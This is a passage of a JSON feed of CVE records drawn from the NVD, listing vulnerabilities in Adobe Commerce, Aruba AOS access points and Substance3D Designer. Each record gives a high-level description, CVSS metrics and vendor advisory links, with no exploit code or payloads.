fixes.","publishedAt":"2026-05-12T20:16:35.677Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34647","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34647","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34647","type":"primary","publishedAt":"2026-05-12T20:16:35.677Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34646","cveId":"CVE-2026-34646","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:35.560Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34646","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34646","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34646","type":"primary","publishedAt":"2026-05-12T20:16:35.560Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34645","cveId":"CVE-2026-34645","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:35.423Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34645","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34645","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34645","type":"primary","publishedAt":"2026-05-12T20:16:35.423Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23827","cveId":"CVE-2026-23827","aliases":[],"kind":"vulnerability","title":"A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code...","summary":"A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could allow an unauthenticated attacker to execute arbitrary code as a privileged user on the underlying operating system, potentially leading to a system compromise. Exploitation may also result in a denial-of-service (DoS) condition affecting the impacted system process.","detail":"A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could allow an unauthenticated attacker to execute arbitrary code as a privileged user on the underlying operating system, potentially leading to a system compromise. Exploitation may also result in a denial-of-service (DoS) condition affecting the impacted system process.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:31.797Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23827","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23827","type":"primary","publishedAt":"2026-05-12T20:16:31.797Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23826","cveId":"CVE-2026-23826","aliases":[],"kind":"vulnerability","title":"A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted...","summary":"A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted network packets to the affected device, potentially resulting in a denial-of-service condition. Successful exploitation could cause the affected service process to terminate unexpectedly, disrupting normal device operations.","detail":"A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted network packets to the affected device, potentially resulting in a denial-of-service condition. Successful exploitation could cause the affected service process to terminate unexpectedly, disrupting normal device operations.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:31.683Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23826","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23826","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23826","type":"primary","publishedAt":"2026-05-12T20:16:31.683Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23825","cveId":"CVE-2026-23825","aliases":[],"kind":"vulnerability","title":"Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems.","summary":"Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.","detail":"Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:31.573Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23825","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23825","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23825","type":"primary","publishedAt":"2026-05-12T20:16:31.573Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23824","cveId":"CVE-2026-23824","aliases":[],"kind":"vulnerability","title":"Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems.","summary":"Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.","detail":"Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service.  Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:31.463Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23824","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23824","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23824","type":"primary","publishedAt":"2026-05-12T20:16:31.463Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34683","cveId":"CVE-2026-34683","aliases":[],"kind":"vulnerability","title":"Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:31.603Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"substance 3d designer","stacks":["Adobe","substance 3d designer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34683","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34683","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34683","type":"primary","publishedAt":"2026-05-12T19:16:31.603Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34682","cveId":"CVE-2026-34682","aliases":[],"kind":"vulnerability","title":"Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:31.447Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"substance 3d designer","stacks":["Adobe","substance 3d designer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34682","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34682","type":"primary","publishedAt":"2026-05-12T19:16:31.447Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23823","cveId":"CVE-2026-23823","aliases":[],"kind":"vulnerability","title":"A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection.","summary":"A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNOTE: This vulnerability only impacts Access Points running AOS-10.7.x.x and above. AOS-10.4 AP and AOS-8 Instant software branches are not affected by this vulnerability.","detail":"A vulnerability in the command line interface of Access Points running AOS-10 could allow an authenticated remote attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNOTE: This vulnerability only impacts Access Points running AOS-10.7.x.x and above. AOS-10.4 AP and AOS-8 Instant software branches are not affected by this vulnerability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:29.053Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23823","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23823","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23823","type":"primary","publishedAt":"2026-05-12T19:16:29.053Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23821","cveId":"CVE-2026-23821","aliases":[],"kind":"vulnerability","title":"A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain...","summary":"A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain pre-existing conditions. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNote: Access Points running AOS-8 Instant software are not affected by this vulnerability.","detail":"A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain pre-existing conditions. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNote: Access Points running AOS-8 Instant software are not affected by this vulnerability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:28.840Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23821","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23821","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23821","type":"primary","publishedAt":"2026-05-12T19:16:28.840Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23820","cveId":"CVE-2026-23820","aliases":[],"kind":"vulnerability","title":"A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a...","summary":"A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a restricted shell environment. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"A vulnerability in the command line interface of Access Points running AOS-10 and AOS-8 Instant could allow an authenticated remote attacker to execute system commands in a restricted shell environment. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T19:16:28.730Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23820","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23820","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23820","type":"primary","publishedAt":"2026-05-12T19:16:28.730Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23819","cveId":"CVE-2026-23819","aliases":[],"kind":"vulnerability","title":"A vulnerability in the web-based management interface of Access Points running AOS-10 and AOS-8 Instant could allow an unauthenticated remote attacker to execute arbitrary...","summary":"A vulnerability in the web-based management interface of Access Points running AOS-10 and AOS-8 Instant could allow an unauthenticated remote attacker to execute arbitrary JavaScript code in a victim's browser within the same local network. Successful exploitation could allow an attacker to compromise user data and potentially manipulate device configuration settings.","detail":"A vulnerability in the web-based management interface of Access Points running AOS-10 and 